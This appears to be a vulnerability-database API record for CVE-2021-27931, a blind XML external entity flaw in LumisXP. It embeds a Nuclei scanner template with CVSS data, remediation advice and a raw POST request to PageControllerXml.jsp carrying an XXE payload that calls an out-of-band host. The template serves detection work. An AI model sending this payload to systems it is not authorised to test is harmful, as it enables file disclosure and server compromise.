{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-27931/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-27931/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-27931/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-27931/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-27931/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-27931"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-27931"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-27931.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2021-27931\n\ninfo:\n  name: LumisXP <10.0.0 - Blind XML External Entity Attack\n  author: alph4byt3\n  severity: critical\n  description: LumisXP (aka Lumis Experience Platform) before 10.0.0 allows unauthenticated blind XML external entity (XXE) attacks via an API request to PageControllerXml.jsp. One can send a request crafted with an XXE payload and achieve outcomes such as reading local server files or denial of service.\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, server compromise, or further attacks on internal systems.\n  remediation: |\n    Upgrade LumisXP to version 10.0.0 or above to mitigate the vulnerability.\n  reference:\n    - https://github.com/sl4cky/LumisXP-XXE---POC/blob/main/poc.txt\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-27931\n    - https://github.com/ARPSyndicate/cvemon\n    - https://github.com/ARPSyndicate/kenzer-templates\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H\n    cvss-score: 9.1\n    cve-id: CVE-2021-27931\n    cwe-id: CWE-611\n    epss-score: 0.18132\n    epss-percentile: 0.97074\n    cpe: cpe:2.3:a:lumis:lumis_experience_platform:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: lumis\n    product: lumis_experience_platform\n  tags: cve2021,cve,lumis,xxe,oast,blind,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /lumis/portal/controller/xml/PageControllerXml.jsp HTTP/1.1\n        Host: {{Hostname}}\n\n        <?xml version=\"1.0\" ?>\n        <!DOCTYPE r [\n        <!ELEMENT r ANY >\n        <!ENTITY xxe SYSTEM \"http://{{interactsh-url}}\">\n        ]>\n        <method name=\"addPage\">\n        <id>&xxe;</id>\n        </method>\n\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the HTTP Interaction\n        words:\n          - \"http\"\n# digest: 490a004630440220488d5b2c6d2a7a30807db581f58bfe2d3f9d34cc6d96351b39a72e24263b2a4d02201ba013c8ad134f9ee9159be368dbd72000502999f78d8d58f80a16cf852795cb:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-27931"
}